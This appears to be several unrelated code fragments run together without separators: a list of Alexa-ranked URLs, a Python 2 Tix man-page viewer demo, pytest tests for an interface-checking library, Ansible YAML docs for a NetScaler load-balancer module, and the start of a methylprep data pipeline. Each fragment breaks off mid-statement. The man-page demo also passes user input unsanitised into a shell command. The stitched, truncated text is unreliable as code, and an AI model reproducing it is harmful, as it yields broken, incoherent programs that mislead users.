'http://www.sarsefiling.co.za/', # Why: #9790 in Alexa global 'http://www.flvmplayer.com/', # Why: #9791 in Alexa global 'http://www.gemius.com.tr/', # Why: #9792 in Alexa global 'http://www.alibris.com/', # Why: #9793 in Alexa global 'http://www.insomniagamer.com/', # Why: #9795 in Alexa global 'http://www.osxdaily.com/', # Why: #9796 in Alexa global 'http://www.novasdodia.com/', # Why: #9797 in Alexa global 'http://www.ayuwage.com/', # Why: #9798 in Alexa global 'http://www.c-date.it/', # Why: #9799 in Alexa global 'http://www.meetic.es/', # Why: #9800 in Alexa global 'http://www.cineplex.com/', # Why: #9801 in Alexa global 'http://www.mugshots.com/', # Why: #9802 in Alexa global 'http://www.allabolag.se/', # Why: #9803 in Alexa global 'http://www.parentsconnect.com/', # Why: #9804 in Alexa global 'http://www.sina.cn/', # Why: #9805 in Alexa global 'http://www.ibis.com/', # Why: #9806 in Alexa global 'http://find.blog.co.uk/', # Why: #9807 in Alexa global 'http://www.findcheaters.com/', # Why: #9808 in Alexa global 'http://www.telly.com/', # Why: #9809 in Alexa global 'http://www.alphacoders.com/', # Why: #9810 in Alexa global 'http://www.sciencenet.cn/', # Why: #9811 in Alexa global 'http://www.sreality.cz/', # Why: #9812 in Alexa global 'http://www.wall-street-exposed.com/', # Why: #9813 in Alexa global 'http://www.mizhe.com/', # Why: #9814 in Alexa global 'http://www.telugumatrimony.com/', # Why: #9815
<filename>externals/tix-8.4.3.6/PyTix-2.0/demos/pman.py<gh_stars>1-10 #! /usr/local/bin/python # # # $Id: pman.py,v 1.1 2000/11/05 19:52:02 idiscovery Exp $ # # An xman like program. - <NAME>, January 1996. # # Features: # # Can have multiple man pages open at the same time. # # Hypertext: Manual page cross references in the Apropos output or a man page # are highlighted when the mouse moves on top of them. Clicking button 1 over # the highlighted reference displays the relevant page. # # Regexp search in manual page window with wrap around. # # Handles MANPATH correctly. If the same man page (e.g. 'make') is in more # than one directory (/usr/man/man1 and /usr/local/man/man1), precedence is # decided by which dir appears first in the MANPATH. # # BUGS: Doesn't handle the case when the reference is split across two lines. # This can be fixed by sucking in the whole text from the text widget and then # doing the search e.g., in class ManWindow but this involves more work. # # Page display is slow. # import os, regex, regsub, string, sys, Tix BOLDFONT = '*-Courier-Bold-R-Normal-*-140-*' ITALICFONT = '*-Courier-Medium-O-Normal-*-140-*' footer_pat = regex.compile('^ Page [1-9][0-9]*[ \t]+\|^.*Last change:.*[1-9][0-9]*\n') empty_pat = regex.compile('^[ \t]*\n') underline_pat = regex.compile('^[ \t]*[Xv!_][Xv!_ \t]*\n') link_pat = regex.compile('\([A-Za-z0-9._]+\)[ \t]*([ \t]*\([A-Za-z0-9]+\)[ \t]*)') # Man Page display widget - borrowed from Guido's demos with minor changes. class ManPageWidget(Tix.ScrolledText): def __init__(self, master=None, cnf={}): # Initialize base class Tix.ScrolledText.__init__(self, master, cnf) self.text['state'] = 'disabled' # Define tags for formatting styles self.text.tag_config('X', {'underline': 1}) self.text.tag_config('!', {'font': BOLDFONT}) self.text.tag_config('_', {'font': ITALICFONT}) # Set state to idle self.fp = None self.lineno = 0 self.tagnum = 0 # Test whether we are busy parsing a file def busy(self): return self.fp != None # Ensure we're not busy def kill(self): if self.busy(): self._endparser() # Parse a file, in the background def asyncparsefile(self, fp): self._startparser(fp) self.tk.createfilehandler(fp, Tix.READABLE, self._filehandler) parsefile = asyncparsefile # Alias # I/O handler used by background parsing def _filehandler(self, fp, mask): nextline = self.fp.readline() if not nextline: self._endparser() return self._parseline(nextline) # Parse a file, now (cannot be aborted) def syncparsefile(self, fp): from select import select def avail(fp=fp, tout=0.0, select=select): return select([fp], [], [], tout)[0] height = self.getint(self['height']) self._startparser(fp) while 1: nextline = fp.readline() if not nextline: break self._parseline(nextline) self._endparser() # Initialize parsing from a particular file -- must not be busy def _startparser(self, fp): if self.busy(): raise RuntimeError, 'startparser: still busy' fp.fileno() # Test for file-ness self.fp = fp self.lineno = 0 self.tagnum = 0 self.ok = 0 self.empty = 0 self.buffer = None self.text['state'] = 'normal' self.text.delete('1.0', 'end') self.text['state'] = 'disabled' # End parsing -- must be busy, need not be at EOF def _endparser(self): if not self.busy(): raise RuntimeError, 'endparser: not busy' if self.buffer: self._parseline('') try: self.tk.deletefilehandler(self.fp) except Tix.TclError, msg: pass self.fp.close() self.fp = None del self.ok, self.empty, self.buffer # Parse a single line def _parseline(self, nextline): if not self.buffer: # Save this line -- we need one line read-ahead self.buffer = nextline return if empty_pat.match(self.buffer) >= 0: # Buffered line was empty -- set a flag self.empty = 1 self.buffer = nextline return textline = self.buffer if underline_pat.match(nextline) >= 0: # Next line is properties for buffered line propline = nextline self.buffer = None else: # Next line is read-ahead propline = None self.buffer = nextline if not self.ok: # First non blank line after footer must be header # -- skip that too self.ok = 1 self.empty = 0 return if footer_pat.match(textline) >= 0: # Footer -- start skipping until next non-blank line self.ok = 0 self.empty = 0 return self.text['state'] = 'normal' if Tix.TkVersion >= 4.0: self.text.mark_set('insert', 'end-1c') else: self.text.mark_set('insert', 'end') if self.empty: # One or more previous lines were empty # -- insert one blank line in the text self._insert_prop('\n') self.lineno = self.lineno + 1 self.empty = 0 if not propline: # No properties self._insert_prop(textline) else: # Search for properties p = '' j = 0 for i in range(min(len(propline), len(textline))): if propline[i] != p: if j < i: self._insert_prop(textline[j:i], p) j = i p = propline[i] self._insert_prop(textline[j:]) startpos = 0 line = textline[:] while 1: pos = link_pat.search(line) if pos < 0: break pos = pos + startpos startpos = startpos + link_pat.regs[0][1] tag = self._w + `self.tagnum` self.tagnum = self.tagnum + 1 self.text.tag_add(tag, '%d.%d' % (self.lineno + 1, pos), '%d.%d' % (self.lineno + 1, startpos)) self.text.tag_bind(tag, '<Any-Enter>', lambda e=None,t=tag,w=self: w._highlight(t, 1)) self.text.tag_bind(tag, '<Any-Leave>', lambda e=None,t=tag,w=self: w._highlight(t, 0)) self.text.tag_bind(tag, '<1>', lambda e=None,w=self,t=textline[pos:startpos]: w._hyper_link(t)) if startpos >= len(textline): break line = textline[startpos:] self.lineno = self.lineno + 1 self.text['state'] = 'disabled' def _highlight(self, tag, how): if how: self.text.tag_config(tag, background="#43ce80", relief=Tix.RAISED) else: self.text.tag_config(tag, background="", relief=Tix.FLAT) def _hyper_link(self, txt): if link_pat.search(txt) < 0: print "Invalid man reference string" return pagename = txt[link_pat.regs[1][0]:link_pat.regs[1][1]] section = txt[link_pat.regs[2][0]:link_pat.regs[2][1]] mandirs = ManDirectories() pipe = mandirs.FormattedPipe(section, pagename) self.parsefile(pipe) # Insert a string at the end, with at most one property (tag) def _insert_prop(self, str, prop = ' '): here = self.text.index('insert') self.text.insert('insert', str) if prop != ' ': self.text.tag_add(prop, here, 'insert') #end class ManPageWidget class ManDirectories: """Find all man directories (using MANPATH if defined) The section names are kept in the list sections. Descriptive names are in the dictionary section_names The full path name(s) for each section are in the dictionary secpaths.""" def __init__(self): known_names = {'1':'User Commands', '1b':'Commands: BSD', '1c':'Commands: Communications', '1f':'Commands: FMLI', '1m':'Commands: Maintenance', '1s':'Commands: SunOS specific', '2':'System Calls', '3':'Subroutines', '3b':'Routines: BSD', '3c':'Routines: C Library', '3e':'Routines: ELF', '3g':'Routines: General', '3i':'Routines: Wide Char', '3k':'Routines: Kernel VM', '3m':'Routines: Math', '3n':'Routines: Network', '3r':'Routines: Realtime', '3s':'Routines: Std. I/O', '3t':'Routines: Threads', '3x':'Routines: Misc.', '4':'File Formats', '4b':'Files: BSD', '5':'Miscellaneous', '6':'Games', '7':'Devices', '9':'Device Drivers', '9e':'Drivers: Entry Points', '9f':'Drivers: Functions', '9s':'Drivers: Data Structures', 'l':'Local', 'n':'New'} if os.environ.has_key('MANPATH'): manpath = os.environ["MANPATH"] if not manpath: manpath = "/usr/share/man" manpath = string.splitfields(manpath, ':') self.secpaths = {} for path in manpath: files = os.listdir(path) for f in files: if os.path.isdir(path + '/' + f) and len(f) > 3 and f[:3] == 'man': sec = f[3:] if self.secpaths.has_key(sec): temp = self.secpaths[sec] + ':' else: temp = '' self.secpaths[sec] = temp + path + '/' + f self.sections = self.secpaths.keys() self.sections.sort() self.section_names = {} for s in self.sections: if s in known_names.keys(): self.section_names[s + ': ' + known_names[s]] = s else: self.section_names[s] = s def Pages(self, secname): if not self.secpaths.has_key(secname): return [] paths = string.splitfields(self.secpaths[secname], ':') wid = len(secname) names = [] for path in paths: files = os.listdir(path) for file in files: if file[-(wid + 1):-wid] == '.' and file[-wid:] == secname: file = file[:-(wid + 1)] if file not in names: # if duplicate - preceding path takes precedence names.append(file) names.sort() return names def FormattedPipe(self, secname, page): secname = string.lower(secname) if not self.secpaths.has_key(secname): raise ValueError file = page + '.' + secname paths = string.splitfields(self.secpaths[secname], ':') cwd = os.getcwd() for path in paths: files = os.listdir(path) if file in files: file = path + '/' + file os.chdir(path) os.chdir('..') break pipe = os.popen('nroff -man %s | ul -i' % file) os.chdir(cwd) return pipe #end class ManDirectories class ManPageWindow: def __init__(self, pipe): self.top = Tix.Toplevel() frame = Tix.Frame(self.top) frame2 = Tix.Frame(frame) self.search_str = Tix.StringVar() self.case_sensitive = Tix.StringVar() btn = Tix.Button(frame2, text='Regexp Search:', command=self.Search) entry = Tix.Entry(frame2, relief=Tix.SUNKEN) entry['textvariable'] = self.search_str entry.bind('<Return>', self.Search) casesense = Tix.Checkbutton(frame2, text='Case Sensitive', relief=Tix.FLAT, variable=self.case_sensitive) btn.pack(side=Tix.LEFT, expand=0) entry.pack(side=Tix.LEFT, expand=1, fill=Tix.X) casesense.pack(side=Tix.RIGHT, expand=0) self.man = ManPageWidget(frame) btn = Tix.Button(frame, text='Close', command=self.Quit) frame2.pack(side=Tix.TOP, expand=0, fill=Tix.X) self.man.pack(side=Tix.TOP, expand=1, fill=Tix.BOTH) btn.pack(side=Tix.BOTTOM, expand=0, fill=Tix.X) frame.pack(expand=1, fill=Tix.BOTH) self.man.parsefile(pipe) def Search(self, event=None): str = self.search_str.get() if not str: self.top.bell() print "No search string ?" return try: if self.case_sensitive.get() == '1': pat = regex.compile(str, regex.casefold) else: pat = regex.compile(str) except regex.error, msg: self.top.bell() print "regex error" return pos = self.man.text.index('insert') lineno = string.atoi(pos[:string.find(pos, '.')]) endpos = self.man.text.index('end') endlineno = string.atoi(endpos[:string.find(endpos, '.')]) wraplineno = lineno found = 0 while 1: lineno = lineno + 1 if lineno > endlineno: if wraplineno <= 0: break endlineno = wraplineno lineno = 0 wraplineno = 0 line = self.man.text.get('%d.0 linestart' % lineno, '%d.0 lineend' % lineno) i = pat.search(line) if i >= 0: found = 1 n = max(1, len(pat.group(0))) try: self.man.text.tag_remove('sel', 'sel.first', 'sel.last') except Tix.TclError: pass self.man.text.tag_add('sel', '%d.%d' % (lineno, i), '%d.%d' % (lineno, i+n)) self.man.text.mark_set('insert', '%d.%d' % (lineno, i)) self.man.text.yview_pickplace('insert') break if not found: self.frame.bell() def Quit(self): del self.search_str del self.case_sensitive self.top.destroy() #end class ManPageWindow class AproposWindow: def __init__(self): self.top = Tix.Toplevel() frame = Tix.Frame(self.top) frame2 = Tix.Frame(frame) self.apropos_str = Tix.StringVar() btn = Tix.Button(frame2, text='Apropos:', command=self.Apropos) entry = Tix.Entry(frame2, relief=Tix.SUNKEN, width=20) entry['textvariable'] = self.apropos_str entry.bind('<Return>', self.Apropos) btn.pack(side=Tix.LEFT, expand=0) entry.pack(side=Tix.RIGHT, expand=1, fill=Tix.X) frame2.pack(side=Tix.TOP, expand=0, fill=Tix.X) self.stext = Tix.ScrolledText(frame) self.stext.text.tag_config('!', font=BOLDFONT) btn = Tix.Button(frame, text='Close', command=self.Quit) self.stext.pack(side=Tix.TOP, expand=1, fill=Tix.BOTH) btn.pack(side=Tix.BOTTOM, expand=0, fill=Tix.X) frame.pack(expand=1, fill=Tix.BOTH) def Apropos(self, event=None): str = self.apropos_str.get() if not str: self.top.bell() print "No string ?" return pipe = os.popen('apropos ' + str, 'r') self.stext.text.delete('1.0', Tix.END) tabs = regex.compile('\011+') num = 1 while 1: line = pipe.readline() if not line: break line = regsub.gsub(tabs, '\011', line) fields = string.splitfields(line, '\011') if len(fields) == 1: line = line[string.find(line, ' ') + 1:] line = regsub.gsub('^ *', '', line) fields = ['???', line] if len(fields) == 2: tmp = string.splitfields(fields[1], '-') fields = fields[0:1] + tmp num = num + 1 self.stext.text.insert('insert', fields[0]+'\t', '!') self.stext.text.insert('insert', fields[1], `num`) self.stext.text.tag_bind(`num`, '<Any-Enter>', lambda e=None,t=`num`,w=self: w._highlight(t, 1)) self.stext.text.tag_bind(`num`, '<Any-Leave>', lambda e=None,t=`num`,w=self:
# Copyright 2017-2020 <NAME> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import sys import pytest from implements import Interface, implements, get_mro py36 = pytest.mark.skipif(sys.version_info < (3, 6), reason='requires py3.6') def test_empty(): class FooInterface(Interface): pass @implements(FooInterface) class FooImplementation: pass def test_with_args_kwargs(): class FooInterface(Interface): def foo(self, a, *args, b=1, **kwargs): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: def foo(self, a, *args, b=7): pass @implements(FooInterface) class FooImplementationPass: def foo(self, a, *args, b=1, **kwargs): pass def test_with_kwarg_only(): class FooInterface(Interface): def foo(self, a, *, b): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: def foo(self, a, b): pass @implements(FooInterface) class FooImplementationPass: def foo(self, a, *, b): pass def test_property(): class FooInterface(Interface): @property def foo(self): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: def foo(self): pass @implements(FooInterface) class FooImplementationPass: @property def foo(self): pass def test_property_inverse(): class FooInterface(Interface): def foo(self): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: @property def foo(self): pass def test_setters(): class FooInterface(Interface): @property def foo(self): pass @foo.setter def foo(self, val): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: @property def foo(self): pass @implements(FooInterface) class FooImplementationPass: @property def foo(self): pass @foo.setter def foo(self, val): pass def test_deleters(): class FooInterface(Interface): @property def foo(self): pass @foo.deleter def foo(self, val): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: @property def foo(self): pass @implements(FooInterface) class FooImplementationPass: @property def foo(self): pass @foo.deleter def foo(self, val): pass def test_implementation_implements_more_descriptors(): class FooInterface(Interface): @property def foo(self): pass # An implementation must implement all data descriptors defined in # the interface, however, the implementation could define more. # # The case below must not generate errors because FooImplementationPass # defines a foo.setter which isn't defined by FooInterface @implements(FooInterface) class FooImplementationPass: @property def foo(self): pass @foo.setter def foo(self, val): pass def test_missing_method(): class FooInterface(Interface): def foo(self): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: pass @implements(FooInterface) class FooImplementationPass: def foo(self): pass def test_missing_argument(): class FooInterface(Interface): def foo(self, arg): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: def foo(self): pass @implements(FooInterface) class FooImplementationPass: def foo(self, arg): pass def test_renamed_argument(): class FooInterface(Interface): def foo(self, arg): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: def foo(self, arrrrg): pass @implements(FooInterface) class FooImplementationPass: def foo(self, arg): pass def test_extra_argument(): class FooInterface(Interface): def foo(self, arg): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: def foo(self, arg, ument): pass @implements(FooInterface) class FooImplementationPass: def foo(self, arg): pass def test_different_defaults(): class FooInterface(Interface): def foo(self, arg=7): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: def foo(self, arg=8): pass @implements(FooInterface) class FooImplementationPass: def foo(self, arg=7): pass def test_different_order(): class FooInterface(Interface): def foo(self, a, b): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: def foo(self, b, a): pass @implements(FooInterface) class FooImplementationPass: def foo(self, a, b): pass def test_missing_kwargs(): class FooInterface(Interface): def foo(self, **kwargs): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: def foo(self): pass @implements(FooInterface) class FooImplementationPass: def foo(self, **kwargs): pass def test_missing_property(): class FooInterface(Interface): @property def foo(self): pass with pytest.raises(NotImplementedError): # missing method @implements(FooInterface) class FooImplementationFail1: # skipcq: PYL-W0612 pass with pytest.raises(NotImplementedError): # missing property decorator @implements(FooInterface) class FooImplementationFail2: # skipcq: PYL-W0612 def foo(self): pass @implements(FooInterface) class FooImplementationPass: @property def foo(self): pass def test_bad_constructor(): class FooInterface(Interface): def __init__(self, a): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: def __init__(self): pass @implements(FooInterface) class FooImplementationPass: def __init__(self, a): pass def test_multiple_errors(): class FooInterface(Interface): @property def foo(self): pass def __init__(self, a): pass # Bad constructor, missing method getter, and missing class attribute (3) match = r'^Found 3 errors in implementation:\n- .+\n- .+\n- .+\nwith .+' with pytest.raises(NotImplementedError, match=match): @implements(FooInterface) class FooImplementationFail: # skipcq: PYL-W0612 def __init__(self): pass def test_static(): class FooInterface(Interface): @staticmethod def foo(a, b, c): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail1: # skipcq: PYL-W0612 pass # missing foo with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail2: # skipcq: PYL-W0612 # skipcq: PYL-E0213 def foo(a, b, c): # missing staticmethod decorator pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail3: # skipcq: PYL-W0612 @classmethod # classmethod instead of staticmethod def foo(cls, a, b, c): # decorator-check fails before signature pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail4: # skipcq: PYL-W0612 @staticmethod def foo(m, n, o): # staticmethod, but wrong signature pass @implements(FooInterface) class FooImplementationPass: @staticmethod def foo(a, b, c): pass def test_classmethods(): class FooInterface(Interface): @classmethod def foo(cls, a, b, c): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail1: # skipcq: PYL-W0612 pass # missing foo with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail2: # skipcq: PYL-W0612 # skipcq: PYL-E0213 def foo(cls, a, b, c): # missing classmethod decorator pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail3: # skipcq: PYL-W0612 @staticmethod # staticmethod instead of classmethod def foo(a, b, c): # decorator-check fails before signature pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail4: # skipcq: PYL-W0612 @classmethod def foo(cls, m, n, o): # classmethod, but wrong signature pass @implements(FooInterface) class FooImplementationPass: @classmethod def foo(cls, a, b, c): pass def test_classmethod_signature_match(): # For a classmethod, inspect.signature returns a signature with the first # element (cls) stripped. A classmethod with signature (cls, a, b, c) has # signature equivalence with a regular method with signature (a, b, c) # # Example: from inspect import signature class TestA: @classmethod def foo(cls, a, b, c): pass class TestB: # skipcq: PYL-E0213 def foo(a, b, c): pass assert signature(TestA.foo) == signature(TestB.foo) # The test below ensures that the above case is flagged class FooInterface(Interface): @classmethod def foo(cls, a, b, c): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: # skipcq: PYL-E0213 def foo(a, b, c): pass def test_staticmethod_classmethod_with_decorator(): class FooBarInterface(Interface): @staticmethod def foo(a, b, c): pass @classmethod def bar(cls, a, b, c): pass import functools def decorator(func): @functools.wraps(func) def inner(*args, **kwargs): return func(*args, **kwargs) return inner @implements(FooBarInterface) class FooBarImplementationPass: @staticmethod @decorator def foo(a, b, c): pass @classmethod @decorator def bar(cls, a, b, c): pass def test_kwargs_only(): class FooInterface(Interface): def foo(self, *, a): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementation: def foo(self, a): pass def test_multiple_interfaces(): class FooInterface(Interface): def foo(self): pass class BarInterface(Interface): def bar(self): pass with pytest.raises(NotImplementedError): @implements(BarInterface) @implements(FooInterface) class FooImplementationNoBar: def foo(self, a): pass with pytest.raises(NotImplementedError): @implements(BarInterface) @implements(FooInterface) class FooImplementationNoFoo: def bar(self, a): pass @implements(BarInterface) @implements(FooInterface) class FooImplementation: def foo(self): pass def bar(self): pass def test_interface_name_collision(): class Foo1Interface(Interface): def foo(self): pass class Foo2Interface(Interface): def foo(self): pass @implements(Foo2Interface) @implements(Foo1Interface) class FooImplementation: def foo(self): pass def test_interface_name_and_signature_collision(): class Foo1Interface(Interface): def foo(self): pass class Foo2Interface(Interface): def foo(self) -> str: return 'foo' # Two interfaces with different signatures for a given method will # always result in failure for the implementing class, as the # implemented method's signature can only satisfy one of the interfaces. with pytest.raises(NotImplementedError): @implements(Foo2Interface) @implements(Foo1Interface) class FooImplementationFail: def foo(self): pass def test_interface_inheritance(): class BaseInterface(Interface): def bar(self): pass class FooInterface(BaseInterface): def foo(self): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: def foo(self): pass @implements(FooInterface) class FooImplementationPass: def foo(self): pass def bar(self): pass def test_class_inheritance(): class FooInterface(Interface): def foo(self): pass @implements(FooInterface) class ParentImplementation: def foo(self): pass @implements(FooInterface) class ChildImplementation(ParentImplementation): pass def test_class_multiple_inheritance(): # --------- INTERFACES ----------------------------------------------- # class FooInterface(Interface): def foo(self, final): pass class BarInterface(Interface): def bar(self, final): pass class FooBarInterface(FooInterface, BarInterface): pass # --------- IMPLEMENTATION ------------------------------------------- # class BaseFooImplementation: # must get overridden def foo(self, override, my, args): pass @implements(FooInterface) class FooImplementation(BaseFooImplementation): def foo(self, final): # skipcq: PYL-W0221 pass @implements(BarInterface) class BarImplementation: def bar(self, final): pass with pytest.raises(NotImplementedError): @implements(FooBarInterface) class SubFooImplementation(FooImplementation): # foo, no bar pass @implements(FooInterface) @implements(BarInterface) @implements(FooBarInterface) class FooBarImplementation(FooImplementation, BarImplementation): pass def test_rtn_type_annotation(): class FooInterface(Interface): def foo(self) -> str: pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: def foo(self) -> int: pass @implements(FooInterface) class FooImplementationPass: def foo(self) -> str: pass def test_arg_type_annotation(): class FooInterface(Interface): def foo(self, arg: str): pass with pytest.raises(NotImplementedError): @implements(FooInterface) class FooImplementationFail: def foo(self, arg: int): pass @implements(FooInterface) class FooImplementationPass: def foo(self, arg: str): pass def test_other_decorator_compat(): def decorator(cls): class Wrapper: def __init__(self, *args): self.wrapped = cls(*args) def __getattr__(self, name): print('Getting the {} of {}'.format(name, self.wrapped)) return getattr(self.wrapped, name, None) return Wrapper class FooInterface(Interface): def foo(self): pass with pytest.raises(NotImplementedError): @implements(FooInterface) @decorator class FooImplementationFail: def __init__(self, x, y): self.x = x self.y = y def foo(self): pass @decorator
- >- * DYNAMICCONNECTION - Spillover occurs when the number of client connections at the virtual server exceeds the sum of the maximum client (Max Clients) settings for bound services. Do not specify a spillover threshold for this setting, because the threshold is implied by the Max Clients settings of bound services. - >- * C(BANDWIDTH) - Spillover occurs when the bandwidth consumed by the virtual server's incoming and outgoing traffic exceeds the threshold. - >- * C(HEALTH) - Spillover occurs when the percentage of weights of the services that are UP drops below the threshold. For example, if services svc1, svc2, and svc3 are bound to a virtual server, with weights 1, 2, and 3, and the spillover threshold is 50%, spillover occurs if svc1 and svc3 or svc2 and svc3 transition to DOWN. - "* C(NONE) - Spillover does not occur." sopersistence: choices: - 'enabled' - 'disabled' description: - >- If spillover occurs, maintain source IP address based persistence for both primary and backup virtual servers. sopersistencetimeout: description: - "Timeout for spillover persistence, in minutes." - "Minimum value = C(2)" - "Maximum value = C(1440)" healththreshold: description: - >- Threshold in percent of active services below which vserver state is made down. If this threshold is 0, vserver state will be up even if one bound service is up. - "Minimum value = C(0)" - "Maximum value = C(100)" sothreshold: description: - >- Threshold at which spillover occurs. Specify an integer for the C(CONNECTION) spillover method, a bandwidth value in kilobits per second for the C(BANDWIDTH) method (do not enter the units), or a percentage for the C(HEALTH) method (do not enter the percentage symbol). - "Minimum value = C(1)" - "Maximum value = C(4294967287)" sobackupaction: choices: - 'DROP' - 'ACCEPT' - 'REDIRECT' description: - >- Action to be performed if spillover is to take effect, but no backup chain to spillover is usable or exists. redirectportrewrite: choices: - 'enabled' - 'disabled' description: - "Rewrite the port and change the protocol to ensure successful HTTP redirects from services." downstateflush: choices: - 'enabled' - 'disabled' description: - >- Flush all active transactions associated with a virtual server whose state transitions from UP to DOWN. Do not enable this option for applications that must complete their transactions. disableprimaryondown: choices: - 'enabled' - 'disabled' description: - >- If the primary virtual server goes down, do not allow it to return to primary status until manually enabled. insertvserveripport: choices: - 'OFF' - 'VIPADDR' - 'V6TOV4MAPPING' description: - >- Insert an HTTP header, whose value is the IP address and port number of the virtual server, before forwarding a request to the server. The format of the header is <vipHeader>: <virtual server IP address>_<port number >, where vipHeader is the name that you specify for the header. If the virtual server has an IPv6 address, the address in the header is enclosed in brackets ([ and ]) to separate it from the port number. If you have mapped an IPv4 address to a virtual server's IPv6 address, the value of this parameter determines which IP address is inserted in the header, as follows: - >- * C(VIPADDR) - Insert the IP address of the virtual server in the HTTP header regardless of whether the virtual server has an IPv4 address or an IPv6 address. A mapped IPv4 address, if configured, is ignored. - >- * C(V6TOV4MAPPING) - Insert the IPv4 address that is mapped to the virtual server's IPv6 address. If a mapped IPv4 address is not configured, insert the IPv6 address. - "* C(OFF) - Disable header insertion." vipheader: description: - "Name for the inserted header. The default name is vip-header." - "Minimum length = 1" authenticationhost: description: - >- Fully qualified domain name (FQDN) of the authentication virtual server to which the user must be redirected for authentication. Make sure that the Authentication parameter is set to C(yes). - "Minimum length = 3" - "Maximum length = 252" authentication: description: - "Enable or disable user authentication." type: bool authn401: description: - "Enable or disable user authentication with HTTP 401 responses." type: bool authnvsname: description: - "Name of an authentication virtual server with which to authenticate users." - "Minimum length = 1" - "Maximum length = 252" push: choices: - 'enabled' - 'disabled' description: - "Process traffic with the push virtual server that is bound to this load balancing virtual server." pushvserver: description: - >- Name of the load balancing virtual server, of type PUSH or SSL_PUSH, to which the server pushes updates received on the load balancing virtual server that you are configuring. - "Minimum length = 1" pushlabel: description: - >- Expression for extracting a label from the server's response. Can be either an expression or the name of a named expression. pushmulticlients: description: - >- Allow multiple Web 2.0 connections from the same client to connect to the virtual server and expect updates. type: bool tcpprofilename: description: - "Name of the TCP profile whose settings are to be applied to the virtual server." - "Minimum length = 1" - "Maximum length = 127" httpprofilename: description: - "Name of the HTTP profile whose settings are to be applied to the virtual server." - "Minimum length = 1" - "Maximum length = 127" dbprofilename: description: - "Name of the DB profile whose settings are to be applied to the virtual server." - "Minimum length = 1" - "Maximum length = 127" comment: description: - "Any comments that you might want to associate with the virtual server." l2conn: description: - >- Use Layer 2 parameters (channel number, MAC address, and VLAN ID) in addition to the 4-tuple (<source IP>:<source port>::<destination IP>:<destination port>) that is used to identify a connection. Allows multiple TCP and non-TCP connections with the same 4-tuple to co-exist on the NetScaler appliance. type: bool oracleserverversion: choices: - '10G' - '11G' description: - "Oracle server version." mssqlserverversion: choices: - '70' - '2000' - '2000SP1' - '2005' - '2008' - '2008R2' - '2012' - '2014' description: - >- For a load balancing virtual server of type C(MSSQL), the Microsoft SQL Server version. Set this parameter if you expect some clients to run a version different from the version of the database. This setting provides compatibility between the client-side and server-side connections by ensuring that all communication conforms to the server's version. mysqlprotocolversion: description: - "MySQL protocol version that the virtual server advertises to clients." mysqlserverversion: description: - "MySQL server version string that the virtual server advertises to clients." - "Minimum length = 1" - "Maximum length = 31" mysqlcharacterset: description: - "Character set that the virtual server advertises to clients." mysqlservercapabilities: description: - "Server capabilities that the virtual server advertises to clients." appflowlog: choices: - 'enabled' - 'disabled' description: - "Apply AppFlow logging to the virtual server." netprofile: description: - >- Name of the network profile to associate with the virtual server. If you set this parameter, the virtual server uses only the IP addresses in the network profile as source IP addresses when initiating connections with servers. - "Minimum length = 1" - "Maximum length = 127" icmpvsrresponse: choices: - 'PASSIVE' - 'ACTIVE' description: - >- How the NetScaler appliance responds to ping requests received for an IP address that is common to one or more virtual servers. Available settings function as follows: - >- * If set to C(PASSIVE) on all the virtual servers that share the IP address, the appliance always responds to the ping requests. - >- * If set to C(ACTIVE) on all the virtual servers that share the IP address, the appliance responds to the ping requests if at least one of the virtual servers is UP. Otherwise, the appliance does not respond. - >-
<reponame>holonomicjl/methylprep # Lib import logging import numpy as np import pandas as pd from ..utils.progress_bar import * # checks environment and imports tqdm appropriately. from collections import Counter from pathlib import Path import pickle # App from ..files import Manifest, get_sample_sheet, create_sample_sheet from ..models import Channel, MethylationDataset, ArrayType from ..utils import ensure_directory_exists, is_file_like from .postprocess import ( calculate_beta_value, calculate_m_value, calculate_copy_number, consolidate_values_for_sheet, consolidate_control_snp, one_sample_control_snp, consolidate_mouse_probes, merge_batches, ) from .preprocess import preprocess_noob from .raw_dataset import get_raw_datasets from .p_value_probe_detection import _pval_sesame_preprocess __all__ = ['SampleDataContainer', 'get_manifest', 'run_pipeline', 'consolidate_values_for_sheet'] LOGGER = logging.getLogger(__name__) def get_manifest(raw_datasets, array_type=None, manifest_filepath=None): """Generates a SampleSheet instance for a given directory of processed data. Arguments: raw_datasets {list(RawDataset)} -- Collection of RawDataset instances that require a manifest file for the related array_type. Keyword Arguments: array_type {ArrayType} -- The type of array to process. If not provided, it will be inferred from the number of probes in the IDAT file. (default: {None}) manifest_filepath {path-like} -- Path to the manifest file. If not provided, it will 